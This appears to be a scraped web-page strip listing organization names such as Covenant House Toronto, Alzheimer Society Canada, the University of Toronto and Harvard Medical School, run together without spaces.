Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School